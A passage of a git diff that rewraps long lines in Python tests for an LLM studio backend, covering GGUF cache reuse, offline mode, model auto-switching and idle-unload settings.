"a" * 40) + snap = _build_cache( + hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = "a" * 40 + ) def fail_download(*_args, **_kwargs): raise AssertionError("must reuse the cached GGUF instead of downloading") @@ -360,13 +381,18 @@ class TestGgufVariantFileResolution: "huggingface_hub.list_repo_files", lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf"], ), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fail_download, + ), ): out = backend._download_gguf(hf_repo = repo, hf_variant = "UD-Q4_K_XL") assert out == str(snap / "model-UD-Q4_K_XL.gguf") - def test_download_reuses_older_snapshot_when_offline_env_is_true(self, monkeypatch, hf_cache): + def test_download_reuses_older_snapshot_when_offline_env_is_true( + self, monkeypatch, hf_cache + ): # HF_HUB_OFFLINE accepts truthy spellings beyond "1" (true/yes/on); the offline # cache reuse must trigger for those too, otherwise the earlier Hub calls run # offline while this branch still attempts hf_hub_download and the cached GGUF @@ -374,7 +400,9 @@ class TestGgufVariantFileResolution: monkeypatch.setenv("HF_HUB_OFFLINE", "true") backend = LlamaCppBackend() repo = "unsloth/vision-GGUF" - old = _build_cache(hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = "a" * 40) + old = _build_cache( + hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = "a" * 40 + ) def fake_get_paths_info( _repo_id, @@ -387,10 +415,16 @@ class TestGgufVariantFileResolution: raise AssertionError("should reuse the cached GGUF instead of downloading") with ( - patch("huggingface_hub.list_repo_files", lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf"]), + patch( + "huggingface_hub.list_repo_files", + lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf"], + ), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fail_download, + ), ): out = backend._download_gguf(hf_repo = repo, hf_variant = "UD-Q4_K_XL") @@ -407,9 +441,13 @@ class TestGgufVariantFileResolution: backend = LlamaCppBackend() canonical_repo = "unsloth/gemma-4-E2B-it-GGUF" requested_repo = "unsloth/gemma-4-e2b-it-gguf" - snap = _build_cache(hf_cache, canonical_repo, {"mmproj-F16.gguf": 4}, snapshot_sha = "a" * 40) + snap = _build_cache( + hf_cache, canonical_repo, {"mmproj-F16.gguf": 4}, snapshot_sha = "a" * 40 + ) # A partial lower-case dir exists so casing resolution keeps the requested spelling. - _build_cache(hf_cache, requested_repo, {"config.json": 1}, snapshot_sha = "b" * 40) + _build_cache( + hf_cache, requested_repo, {"config.json": 1}, snapshot_sha = "b" * 40 + ) _offline_exc = type("OfflineModeIsEnabled", (Exception,), {}) @@ -417,11 +455,16 @@ class TestGgufVariantFileResolution: raise _offline_exc("offline") def fail_download(*_args, **_kwargs): - raise AssertionError("should resolve the companion from cache, not download") + raise AssertionError( + "should resolve the companion from cache, not download" + ) with ( patch("huggingface_hub.list_repo_files", fake_list_repo_files), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fail_download, + ), ): out = backend._download_mmproj(hf_repo = requested_repo) @@ -441,7 +484,11 @@ class TestGgufVariantFileResolution: paths, token = None, ): - return [_types.SimpleNamespace(path = path, size = 1) for path in paths if path is not None] + return [ + _types.SimpleNamespace(path = path, size = 1) + for path in paths + if path is not None + ] def fake_download( repo_id, @@ -457,7 +504,10 @@ class TestGgufVariantFileResolution: patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fake_download, + ), ): out = backend._download_gguf( hf_repo = "org/repo", @@ -467,7 +517,9 @@ class TestGgufVariantFileResolution: assert downloaded == files assert out == "/fake/org/repo/model-Q4_K_M-00001-of-00002.GGUF" - def test_download_refetches_split_gguf_when_shards_span_snapshots(self, monkeypatch, hf_cache): + def test_download_refetches_split_gguf_when_shards_span_snapshots( + self, monkeypatch, hf_cache + ): # The cached main shard lives in an older snapshot; its sibling shard is only # in a newer, separate snapshot. Reusing the main shard alone would leave # llama.cpp unable to resolve the sibling, so the whole set must be re-fetched @@ -502,7 +554,10 @@ class TestGgufVariantFileResolution: patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files), patch("huggingface_hub.get_paths_info", fake_get_paths_info), patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), - patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download), + patch( + "core.inference.llama_cpp.hf_hub_download_with_xet_fallback", + fake_download, + ), ): out = backend._download_gguf(hf_repo = repo, hf_variant = "Q4_K_M") @@ -514,7 +569,8 @@ def _siblings(items: dict[str, int]): """Mock ``hf_model_info(...).siblings`` payload.""" return _types.SimpleNamespace( siblings = [ - _types.SimpleNamespace(rfilename = name, size = size) for name, size in items.items() + _types.SimpleNamespace(rfilename = name, size = size) + for name, size in items.items() ], ) @@ -538,16 +594,24 @@ class TestIterHfCacheSnapshots: assert list(_iter_hf_cache_snapshots("unsloth/bare")) == [] def test_yields_newest_first(self, hf_cache): - old = _build_cache(hf_cache, "unsloth/multi", {"x.gguf": 1}, snapshot_sha = "a" * 40) - new = _build_cache(hf_cache, "unsloth/multi", {"y.gguf": 1}, snapshot_sha = "b" * 40) + old = _build_cache( + hf_cache, "unsloth/multi", {"x.gguf": 1}, snapshot_sha = "a" * 40 + ) + new = _build_cache( + hf_cache, "unsloth/multi", {"y.gguf": 1}, snapshot_sha = "b" * 40 + ) os.utime(old, (1000, 1000)) os.utime(new, (2000, 2000)) out = list(_iter_hf_cache_snapshots("unsloth/multi")) assert [p.name for p in out] == ["b" * 40, "a" * 40] def test_skips_snapshot_when_mtime_is_unavailable(self, hf_cache, monkeypatch): - stale = _build_cache(hf_cache, "unsloth/multi", {"x.gguf": 1}, snapshot_sha = "a" * 40) - good = _build_cache(hf_cache, "unsloth/multi", {"y.gguf": 1}, snapshot_sha = "b" * 40) + stale = _build_cache( + hf_cache, "unsloth/multi", {"x.gguf": 1}, snapshot_sha = "a" * 40 + ) + good = _build_cache( + hf_cache, "unsloth/multi", {"y.gguf": 1}, snapshot_sha = "b" * 40 + ) original_stat = Path.stat def flaky_stat(self, *args, **kwargs): @@ -599,9 +663,14 @@ class TestCachedColocatedSplitMain: shard1 = "m-00001-of-00002.gguf" shard2 = "m-00002-of-00002.gguf" old = _build_cache( - hf_cache, "unsloth/split-GGUF", {shard1: 100, shard2: 100}, snapshot_sha = "a" * 40 + hf_cache, + "unsloth/split-GGUF", + {shard1: 100, shard2: 100}, + snapshot_sha = "a" * 40, + ) + new = _build_cache( + hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "b" * 40 ) - new = _build_cache(hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "b" * 40) os.utime(old, (1000, 1000)) os.utime(new, (2000, 2000)) @@ -612,19 +681,28 @@ class TestCachedColocatedSplitMain: def test_returns_none_when_shards_span_snapshots(self, hf_cache): shard1 = "m-00001-of-00002.gguf" shard2 = "m-00002-of-00002.gguf" - a = _build_cache(hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "a" * 40) - b = _build_cache(hf_cache, "unsloth/split-GGUF", {shard2: 100}, snapshot_sha = "b" * 40) + a = _build_cache( + hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "a" * 40 + ) + b = _build_cache( + hf_cache, "unsloth/split-GGUF", {shard2: 100}, snapshot_sha = "b" * 40 + ) os.utime(a, (1000, 1000)) os.utime(b, (2000, 2000)) - assert _cached_colocated_split_main("unsloth/split-GGUF", shard1, [shard2], {}) is None + assert ( + _cached_colocated_split_main("unsloth/split-GGUF", shard1, [shard2], {}) + is None + ) class TestResolveRepoIdCasing: def test_maps_to_canonical_casing(self, monkeypatch): monkeypatch.setattr( "utils.paths.resolve_cached_repo_id_case", - lambda repo: "unsloth/Gemma-4-GGUF" if repo.lower() == "unsloth/gemma-4-gguf" else repo, + lambda repo: "unsloth/Gemma-4-GGUF" + if repo.lower() == "unsloth/gemma-4-gguf" + else repo, ) # A companion download passed the resolved id reads the same cache entry # as the main GGUF instead of missing it under the requested casing. @@ -637,7 +715,9 @@ class TestResolveRepoIdCasing: monkeypatch.setattr("utils.paths.resolve_cached_repo_id_case", boom) assert _resolve_repo_id_casing("unsloth/gemma-4-gguf") == "unsloth/gemma-4-gguf" - def test_companion_only_newer_snapshot_does_not_shadow_real_variants(self, hf_cache): + def test_companion_only_newer_snapshot_does_not_shadow_real_variants( + self, hf_cache + ): # A newer snapshot holds only a vision projector fetched on demand, # while the quant files live in an older snapshot. The newer snapshot # must not shadow the real variants; the vision flag carries over. @@ -674,7 +754,9 @@ class TestResolveRepoIdCasing: class TestListGgufVariantsOffline: - def test_offline_env_short_circuits_api(self, hf_cache, clean_offline_env, monkeypatch): + def test_offline_env_short_circuits_api( + self, hf_cache, clean_offline_env, monkeypatch + ): _build_cache(hf_cache, "unsloth/a", {"a-UD-Q4_K_XL.gguf": 1}) monkeypatch.setenv("HF_HUB_OFFLINE", "1") @@ -766,7 +848,9 @@ class TestDetectGgufFromCache: class TestDetectGgufModelRemoteOffline: - def test_offline_env_short_circuits_retries(self, hf_cache, clean_offline_env, monkeypatch): + def test_offline_env_short_circuits_retries( + self, hf_cache, clean_offline_env, monkeypatch + ): _build_cache(hf_cache, "unsloth/a", {"a-Q4_K_M.gguf": 1}) monkeypatch.setenv("HF_HUB_OFFLINE", "1") @@ -790,7 +874,9 @@ class TestDetectGgufModelRemoteOffline: out = detect_gguf_model_remote("unsloth/a") assert out == "a-Q4_K_M.gguf" - def test_remote_big_endian_only_repo_is_not_detected(self, clean_offline_env, monkeypatch): + def test_remote_big_endian_only_repo_is_not_detected( + self, clean_offline_env, monkeypatch + ): siblings = [ _types.SimpleNamespace(rfilename = "model-Q4_K_M-be.gguf"), ] @@ -801,7 +887,9 @@ class TestDetectGgufModelRemoteOffline: assert detect_gguf_model_remote("unsloth/a") is None - def test_repository_not_found_does_not_consult_cache(self, hf_cache, clean_offline_env): + def test_repository_not_found_does_not_consult_cache( + self, hf_cache, clean_offline_env + ): # Cache has a file but the API says the repo is gone. _build_cache(hf_cache, "unsloth/a", {"a-Q4_K_M.gguf": 1}) @@ -896,7 +984,9 @@ class TestHfOfflineIfDnsDead: assert did_set is False assert "HF_HUB_OFFLINE" not in os.environ - def test_user_set_hf_hub_offline_is_preserved(self, dns, clean_offline_env, monkeypatch): + def test_user_set_hf_hub_offline_is_preserved( + self, dns, clean_offline_env, monkeypatch + ): # User explicitly set offline before launching Unsloth. monkeypatch.setenv("HF_HUB_OFFLINE", "1") dns.fail() @@ -906,7 +996,9 @@ class TestHfOfflineIfDnsDead: # Helper must not pop a variable it did not set. assert os.environ.get("HF_HUB_OFFLINE") == "1" - def test_user_set_transformers_offline_is_preserved(self, dns, clean_offline_env, monkeypatch): + def test_user_set_transformers_offline_is_preserved( + self, dns, clean_offline_env, monkeypatch + ): monkeypatch.setenv("TRANSFORMERS_OFFLINE", "1") dns.fail() with _hf_offline_if_dns_dead(): @@ -950,7 +1042,9 @@ class TestDownloadMmprojOfflineCacheFallback: """``_download_mmproj`` must resolve cached mmproj GGUFs offline, like ``_download_gguf``; else the offline vision load returns None despite a cache hit.""" - def test_cache_lookup_returns_cached_mmproj_when_list_repo_files_fails(self, hf_cache): + def test_cache_lookup_returns_cached_mmproj_when_list_repo_files_fails( + self, hf_cache + ): _build_cache( hf_cache, "unsloth/vision-GGUF", @@ -1158,7 +1252,9 @@ class TestListGgufVariantsPermanentErrors: list_gguf_variants("u/gated-gguf") assert type(exc_info.value).__name__ == "GatedRepoError" - def test_transient_error_still_falls_back_to_cache(self, hf_cache, clean_offline_env): + def test_transient_error_still_falls_back_to_cache( + self, hf_cache, clean_offline_env + ): from utils.models.model_config import list_gguf_variants _build_cache(hf_cache, "u/transient-gguf", {"foo-Q4_K_M.gguf": 1}) diff --git a/studio/backend/tests/test_offline_inference_parent.py b/studio/backend/tests/test_offline_inference_parent.py index bd0014ea64..8d8dc0f354 100644 --- a/studio/backend/tests/test_offline_inference_parent.py +++ b/studio/backend/tests/test_offline_inference_parent.py @@ -115,7 +115,9 @@ class TestTransformersVersionOfflineShortCircuits: with patch("urllib.request.urlopen", boom): assert _check_tokenizer_config_needs_v5(unique) is False - def test_config_550_skips_urllib_when_offline(self, monkeypatch, clean_offline_env, tmp_path): + def test_config_550_skips_urllib_when_offline( + self, monkeypatch, clean_offline_env, tmp_path + ): monkeypatch.setenv("HF_HUB_OFFLINE", "1") unique = f"unsloth/never-cached-{tmp_path.name}-cfg" diff --git a/studio/backend/tests/test_openai_auto_switch.py b/studio/backend/tests/test_openai_auto_switch.py index 1ee9ef36d3..4f8f1ebb0a 100644 --- a/studio/backend/tests/test_openai_auto_switch.py +++ b/studio/backend/tests/test_openai_auto_switch.py @@ -329,7 +329,10 @@ def test_local_gguf_entry_rejects_standalone_mmproj(tmp_path): proj = tmp_path / "mmproj-F16.gguf" proj.write_text("x") assert resolver._local_gguf_entry("p", SimpleNamespace(path = str(proj))) is None - assert resolver.info_has_local_gguf(SimpleNamespace(id = str(proj), path = str(proj))) is False + assert ( + resolver.info_has_local_gguf(SimpleNamespace(id = str(proj), path = str(proj))) + is False + ) def _entry(loader_id, *variants): @@ -469,7 +472,9 @@ def test_idle_loop_unloads_after_ttl_and_stashes_for_reload(monkeypatch): asyncio.run(_drive()) assert unloads == [1] # freed once, not repeatedly stash = kw.get_last_unloaded_model() - assert stash is not None and stash[0] == "unsloth/Idle-GGUF" and stash[1] == "Q4_K_M" + assert ( + stash is not None and stash[0] == "unsloth/Idle-GGUF" and stash[1] == "Q4_K_M" + ) def test_idle_loop_deletes_saved_kv_when_unload_fails(monkeypatch, tmp_path): @@ -532,7 +537,9 @@ def test_disabling_idle_unload_purges_saved_kv(monkeypatch, tmp_path): "dir": str(tmp_path), "slots": [{"id": 0, "filename": saved.name}], } - monkeypatch.setattr(settings_route, "set_openai_auto_switch", lambda *a: (False, 300, True)) + monkeypatch.setattr( + settings_route, "set_openai_auto_switch", lambda *a: (False, 300, True) + ) monkeypatch.setattr(settings_route, "get_auto_unload_idle_seconds", lambda: 0) payload = settings_route.OpenAIAutoSwitchPayload(enabled = False) @@ -596,7 +603,10 @@ def test_auto_switch_applies_model_override(monkeypatch): monkeypatch.setattr( settings, "get_model_override", - lambda model_id: {"llama_extra_args": ["--n-gpu-layers", "20"], "max_seq_length": 4096}, + lambda model_id: { + "llama_extra_args": ["--n-gpu-layers", "20"], + "max_seq_length": 4096, + }, ) _run_hook("unsloth/B-GGUF") @@ -620,7 +630,9 @@ def test_auto_switch_applies_partial_override(monkeypatch): recorder = rec, ) monkeypatch.setattr( - settings, "get_model_override", lambda model_id: {"llama_extra_args": ["--flash-attn"]} + settings, + "get_model_override", + lambda model_id: {"llama_extra_args": ["--flash-attn"]}, ) _run_hook("unsloth/B-GGUF") @@ -645,7 +657,9 @@ def _mock_override_store(monkeypatch): return current monkeypatch.setattr(db, "upsert_app_setting_map_entry", _merge_entry) - monkeypatch.setattr(db, "get_app_setting", lambda k, default = None: store.get(k, default)) + monkeypatch.setattr( + db, "get_app_setting", lambda k, default = None: store.get(k, default) + ) settings._cache.clear() return store @@ -661,7 +675,9 @@ def test_model_override_roundtrip(monkeypatch): "max_seq_length": 4096, } # An override with no fields removes the entry rather than storing an empty one. - settings.set_model_override("unsloth/B-GGUF", llama_extra_args = [], max_seq_length = None) + settings.set_model_override( + "unsloth/B-GGUF", llama_extra_args = [], max_seq_length = None + ) assert settings.get_model_override("unsloth/B-GGUF") == {} assert settings.get_model_overrides() == {} @@ -682,7 +698,9 @@ def test_override_route_rejects_managed_flag_and_removes(monkeypatch): # A valid override is stored, then an empty payload removes it through the route. ok = settings_route.ModelOverridePayload( - model_id = "unsloth/B-GGUF", llama_extra_args = ["--flash-attn"], max_seq_length = 4096 + model_id = "unsloth/B-GGUF", + llama_extra_args = ["--flash-attn"], + max_seq_length = 4096, ) resp = settings_route.update_openai_auto_switch_override(ok, "tester") assert resp.overrides["unsloth/B-GGUF"]["max_seq_length"] == 4096 @@ -701,7 +719,12 @@ def test_model_override_rejects_zero_max_seq_length(): with pytest.raises(pydantic.ValidationError): settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 0) - assert settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 1).max_seq_length == 1 + assert ( + settings_route.ModelOverridePayload( + model_id = "x", max_seq_length = 1 + ).max_seq_length + == 1 + ) def test_update_openai_auto_switch_writes_both_keys_in_one_transaction(monkeypatch): @@ -723,7 +746,9 @@ def test_update_openai_auto_switch_writes_both_keys_in_one_transaction(monkeypat monkeypatch.setattr(db, "upsert_app_settings", _capture) settings._cache.clear() - payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_idle_seconds = 120) + payload = settings_route.OpenAIAutoSwitchPayload( + enabled = True, auto_unload_idle_seconds = 120 + ) resp = settings_route.update_openai_auto_switch(payload, "tester") assert resp.enabled is True and resp.auto_unload_idle_seconds == 120 assert len(calls) == 1 # one transaction, not two @@ -739,7 +764,9 @@ def test_settings_report_idle_unload_active_when_env_backed(monkeypatch): import routes.settings as settings_route monkeypatch.setattr(settings_route, "get_openai_auto_switch_enabled", lambda: False) - monkeypatch.setattr(settings_route, "get_stored_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr( + settings_route, "get_stored_auto_unload_idle_seconds", lambda: 600 + ) monkeypatch.setattr( settings_route, "get_auto_unload_idle_seconds", lambda: 600 ) # effective > 0 @@ -760,12 +787,24 @@ def test_v1_models_retrieve_is_case_insensitive(monkeypatch): # main's #6519; only the loaded fast-path is exact, the catalog loop is lenient.) from fastapi import HTTPException - monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + monkeypatch.setattr( + inference_route, "_openai_model_objects", lambda: [] + ) # nothing loaded async def _catalog(): return [ - {"id": "unsloth/A-GGUF", "object": "model", "created": 1, "owned_by": "local"}, - {"id": "unsloth/B-GGUF", "object": "model", "created": 1, "owned_by": "local"}, + { + "id": "unsloth/A-GGUF", + "object": "model", + "created": 1, + "owned_by": "local", + }, + { + "id": "unsloth/B-GGUF", + "object": "model", + "created": 1, + "owned_by": "local", + }, ] monkeypatch.setattr(inference_route, "_openai_catalog_objects", _catalog) @@ -933,7 +972,12 @@ def test_keepwarm_tracks_inflight_when_enabled_even_if_idle_zero(monkeypatch): async def send(_m): pass - scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + scope = { + "type": "http", + "path": "/v1/chat/completions", + "method": "POST", + "headers": [], + } await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) asyncio.run(drive()) @@ -1008,7 +1052,9 @@ def test_anthropic_validates_max_tokens_before_auto_switch(): src = inspect.getsource(inference_route.anthropic_messages) assert "_maybe_auto_switch_model" in src - assert src.index("max_tokens: field required") < src.index("_maybe_auto_switch_model") + assert src.index("max_tokens: field required") < src.index( + "_maybe_auto_switch_model" + ) def test_alias_reloads_model_freed_by_idle_unload_with_quant(monkeypatch): @@ -1077,7 +1123,12 @@ def test_keepwarm_tracks_inflight_even_when_auto_switch_off(monkeypatch): async def send(_m): pass - scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + scope = { + "type": "http", + "path": "/v1/chat/completions", + "method": "POST", + "headers": [], + } await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) asyncio.run(drive()) @@ -1085,7 +1136,9 @@ def test_keepwarm_tracks_inflight_even_when_auto_switch_off(monkeypatch): assert kw._inflight == 0 -def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch, tmp_path): +def test_build_index_covers_legacy_default_lmstudio_and_custom_roots( + monkeypatch, tmp_path +): # _build_index must scan the same roots the model picker lists, else a model # the UI shows is silently served as the loaded one. Verify each is consulted. from pathlib import Path @@ -1109,7 +1162,9 @@ def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch "_scan_lmstudio_dir", lambda d: scanned.append(("lm", str(Path(d).resolve()))) or [], ) - monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path / "active") + monkeypatch.setattr( + models_route, "_resolve_hf_cache_dir", lambda: tmp_path / "active" + ) monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) monkeypatch.setattr(upaths, "legacy_hf_cache_dir", lambda: tmp_path / "legacy") monkeypatch.setattr(upaths, "hf_default_cache_dir", lambda: tmp_path / "default") @@ -1155,7 +1210,9 @@ def test_completions_list_body_is_400_not_500(monkeypatch): recorder = _LoadRecorder(backend), ) with pytest.raises(HTTPException) as exc: - asyncio.run(inference_route.openai_completions(_json_body_request([]), "tester")) + asyncio.run( + inference_route.openai_completions(_json_body_request([]), "tester") + ) assert exc.value.status_code == 400 @@ -1194,7 +1251,12 @@ def test_middleware_ignores_non_post(monkeypatch): async def send(_m): pass - scope = {"type": "http", "path": "/v1/chat/completions", "method": "OPTIONS", "headers": []} + scope = { + "type": "http", + "path": "/v1/chat/completions", + "method": "OPTIONS", + "headers": [], + } await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) asyncio.run(drive()) @@ -1307,7 +1369,9 @@ def test_hf_cache_entry_loads_from_local_snapshot_path(tmp_path): snap.mkdir(parents = True) (snap / "model-Q4_K_M.gguf").write_bytes(b"GGUF stub") - entry = resolver._local_gguf_entry("org/Repo", SimpleNamespace(id = "org/Repo", path = str(repo))) + entry = resolver._local_gguf_entry( + "org/Repo", SimpleNamespace(id = "org/Repo", path = str(repo)) + ) assert entry is not None assert entry.loader_id == "org/Repo" # advertised id unchanged assert "snapshots" in entry.load_path # loads from the concrete snapshot dir @@ -1329,7 +1393,11 @@ def test_already_loaded_by_repo_id_is_not_reswapped(monkeypatch): _wire( monkeypatch, enabled = True, - resolves_to = ("/cache/models--org--Repo-GGUF/snapshots/abc", "Q4_K_M", "org/Repo-GGUF"), + resolves_to = ( + "/cache/models--org--Repo-GGUF/snapshots/abc", + "Q4_K_M", + "org/Repo-GGUF", + ), backend = backend, recorder = rec, ) @@ -1363,7 +1431,9 @@ def test_already_serving_by_path_records_advertised_alias(monkeypatch): # and responses would report the path basename and list the alias as loaded:false # unless the alias is recorded as the advertised id on the already-serving return. path = "/cache/models--org--Repo-GGUF/snapshots/abc" - backend = _FakeBackend(path, hf_variant = "Q4_K_M") # loaded by path, no advertised id + backend = _FakeBackend( + path, hf_variant = "Q4_K_M" + ) # loaded by path, no advertised id rec = _LoadRecorder(backend) _wire( monkeypatch, @@ -1409,7 +1479,9 @@ def test_concurrent_same_target_requests_load_once(monkeypatch): ) monkeypatch.setattr(kw, "_inflight", 2) # both same-target requests counted monkeypatch.setattr(kw, "_pending", 0) - inference_route._note_switch_waiter(inference_route._switch_key("org/B-GGUF", "Q8_0"), 1) + inference_route._note_switch_waiter( + inference_route._switch_key("org/B-GGUF", "Q8_0"), 1 + ) _run_hook("org/B-GGUF:Q8_0") assert len(rec.calls) == 1 # loads once, no 409 @@ -1431,7 +1503,9 @@ def test_swap_still_refused_when_other_request_targets_different_model(monkeypat ) monkeypatch.setattr(kw, "_inflight", 2) monkeypatch.setattr(kw, "_pending", 0) - inference_route._note_switch_waiter(inference_route._switch_key("org/C-GGUF", "Q4_K_M"), 1) + inference_route._note_switch_waiter( + inference_route._switch_key("org/C-GGUF", "Q4_K_M"), 1 + ) with pytest.raises(HTTPException) as exc: _run_hook("org/B-GGUF:Q8_0") assert exc.value.status_code == 409 @@ -1446,7 +1520,9 @@ def test_v1_models_advertises_repo_id_not_load_path(monkeypatch): llama._openai_advertised_id = "org/Repo-GGUF" monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama) monkeypatch.setattr( - inference_route, "get_inference_backend", lambda: SimpleNamespace(active_model_name = None) + inference_route, + "get_inference_backend", + lambda: SimpleNamespace(active_model_name = None), ) objects = inference_route._openai_model_objects() assert [o["id"] for o in objects] == ["org/Repo-GGUF"] @@ -1462,9 +1538,13 @@ def test_idle_alias_reload_preserves_override_via_advertised_id(monkeypatch): rec = _LoadRecorder(backend) _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) monkeypatch.setattr(kw, "_inflight", 0) - monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF") + ) overrides = {"org/A-GGUF": {"max_seq_length": 8192}} - monkeypatch.setattr(settings, "get_model_override", lambda mid: overrides.get(mid, {})) + monkeypatch.setattr( + settings, "get_model_override", lambda mid: overrides.get(mid, {}) + ) _run_hook("gpt-4o-mini") assert rec.calls[0].model_path == "/cache/snap/A" # reloads the freed path assert rec.calls[0].gguf_variant == "Q4_K_M" @@ -1499,7 +1579,9 @@ def test_anthropic_503_when_unloaded_and_auto_switch_off(monkeypatch): monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) with pytest.raises(HTTPException) as exc: - asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + asyncio.run( + inference_route.anthropic_messages(_anthropic_payload(), object(), "tester") + ) assert exc.value.status_code == 503 @@ -1512,7 +1594,9 @@ def test_anthropic_400_when_auto_switch_on_and_max_tokens_missing(monkeypatch): monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) with pytest.raises(HTTPException) as exc: - asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + asyncio.run( + inference_route.anthropic_messages(_anthropic_payload(), object(), "tester") + ) assert exc.value.status_code == 400 @@ -1557,7 +1641,9 @@ def test_concurrent_same_target_loads_once_while_other_still_resolving(monkeypat monkeypatch.setattr(kw, "_inflight", 2) # caller + a still-resolving twin monkeypatch.setattr(kw, "_pending", 0) # The twin has only registered its raw requested model (not yet a target waiter). - inference_route._note_request_waiter(inference_route._request_waiter_key("org/B-GGUF:Q8_0"), 1) + inference_route._note_request_waiter( + inference_route._request_waiter_key("org/B-GGUF:Q8_0"), 1 + ) _run_hook("org/B-GGUF:Q8_0") assert len(rec.calls) == 1 # loads once, no 409 @@ -1585,7 +1671,9 @@ def test_manual_unload_interrupts_even_while_inference_active(monkeypatch): backend.is_active = True backend.unload_model = lambda: setattr(backend, "is_loaded", False) monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) - monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False) + monkeypatch.setattr( + inference_route, "is_registered_native_path_label", lambda *a: False + ) monkeypatch.setattr(kw, "_inflight", 1) # another request streaming monkeypatch.setattr(kw, "_pending", 0) resp = asyncio.run( @@ -1651,7 +1739,9 @@ def test_chat_untracks_external_provider_before_proxy(): # stream can't block a concurrent local auto-switch. import inspect src = inspect.getsource(inference_route.openai_chat_completions) - assert src.index("untrack_current_request") < src.index("_proxy_to_external_provider") + assert src.index("untrack_current_request") < src.index( + "_proxy_to_external_provider" + ) # ── round 7: API-initiated training defers to active inference, UI does not ── @@ -1661,8 +1751,12 @@ def test_authenticated_via_api_key_detects_key_vs_session(): from fastapi.security import HTTPAuthorizationCredentials from auth.authentication import authenticated_via_api_key, API_KEY_PREFIX - key = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = API_KEY_PREFIX + "abc") - jwt = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = "eyJhbGciOiJ.session") + key = HTTPAuthorizationCredentials( + scheme = "Bearer", credentials = API_KEY_PREFIX + "abc" + ) + jwt = HTTPAuthorizationCredentials( + scheme = "Bearer", credentials = "eyJhbGciOiJ.session" + ) assert asyncio.run(authenticated_via_api_key(key)) is True assert asyncio.run(authenticated_via_api_key(jwt)) is False @@ -1704,7 +1798,9 @@ def test_ui_training_not_blocked_by_active_inference(monkeypatch): fake = SimpleNamespace(is_training_active = lambda: True, current_job_id = "job-1") monkeypatch.setattr(training_route, "get_training_backend", lambda: fake) resp = asyncio.run( - training_route.start_training(_training_request(), current_subject = "t", via_api_key = False) + training_route.start_training( + _training_request(), current_subject = "t", via_api_key = False + ) ) assert resp.status == "error" and "already" in (resp.error or "").lower() @@ -1715,7 +1811,9 @@ def test_ui_training_not_blocked_by_active_inference(monkeypatch): def test_env_idle_ttl_standalone_when_no_stored_value(monkeypatch): # With nothing stored, the env var enables idle-unload even while auto-switch # is off (headless/ops default), and the UI reader reflects it. - monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d) # nothing stored + monkeypatch.setattr( + settings, "_cached_setting", lambda k, d = None: d + ) # nothing stored monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600") monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) assert settings.get_auto_unload_idle_seconds() == 600 @@ -1731,7 +1829,9 @@ def test_stored_idle_value_overrides_env_and_stays_gated(monkeypatch): monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) assert settings.get_auto_unload_idle_seconds() == 90 # stored wins, not env monkeypatch.setattr(settings, 